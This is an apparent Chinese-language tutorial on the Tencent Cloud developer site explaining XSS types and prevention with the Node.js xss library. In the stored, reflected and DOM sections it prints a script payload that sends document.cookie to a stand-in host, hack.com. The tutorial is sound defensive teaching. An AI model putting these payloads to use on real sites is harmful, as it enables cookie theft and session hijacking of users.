首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >怎么防止跨站脚本攻击(XSS)?

怎么防止跨站脚本攻击(XSS)?

原创
作者头像
Learn-anything.cn
修改2021-11-25 10:47:21
1K0
修改2021-11-25 10:47:21
举报
文章被收录于专栏:learn-anything.cnlearn-anything.cn
一、XSS 是什么?

跨站脚本攻击(Cross-site scripting,XSS)是攻击者向网站注入恶意脚本,等待用户访问网站并自动运行恶意脚本发起攻击的过程。不同的脚本可以实现不同目的:

  • 盗用cookie,获取敏感信息。
  • 利用植入Flash,通过crossdomain权限设置进一步获取更高权限;或者利用Java等得到类似的操作。
  • 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。
  • 利用可被攻击的域受到其他域信任的特点,以受信任来源的身份请求一些平时不允许的操作,如进行不当的投票活动。
  • 在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DoS攻击的效果。

二、XSS 分为3类
1、存储型(持久型)

攻击者把恶意脚本注入服务器并存储起来,等待受害者请求此脚本并在浏览器中自动运行。

  • 使用场景:攻击者在评论区提交带有恶意脚本的评论,如果服务器检查不出恶意脚本,那么此恶意评论会被存入服务器数据库,下一个用户访问时,评论会被自动获取并展示,其中恶意脚本也被自动运行了。
// 在评论区,直接把下面的内容提交,如果服务器不做检查,下面内容就被存入服务器数据库
<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>

2、反射型(非持久型)

通过用户点击恶意链接,获取用户已登录的会话cookie。

http://www.example.com/transfer?s=<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>

3、DOM 型

在用户浏览的页面中直接注入代码。

  • 实例:HTML中有个锚的功能,也就是通过 #id 来实现当页面的跳转。
# 下面链接表示打开页面,并把 id 为 doc 这个元素滚到页面最上面
http://www.example.com/#doc

# 把 doc 换成 脚本,再访问此页面,意味着脚本会被自动执行
http://www.example.com/#<script>location.href="http://hack.com/transfer?cookie="+document.cookie</script>

# 备注:此实例只是解释说明用,目前浏览器早就屏蔽了这样的漏洞。

三、怎么防止 XSS 攻击?

XSS 来源于用户提供的内容,只要过滤掉其中的恶意代码即可,Node.js 项目中推荐使用 xss 库来完成这个工作。

// 1、安装
npm install xss

// 2、使用
var xss = require('xss');
var html = xss('<script>alert("xss");</script>');
console.log(html);

四、xss 相关工具

五、参考文档

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、XSS 是什么?
  • 二、XSS 分为3类
    • 1、存储型(持久型)
      • 2、反射型(非持久型)
        • 3、DOM 型
        • 三、怎么防止 XSS 攻击?
        • 四、xss 相关工具
        • 五、参考文档
        领券
        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档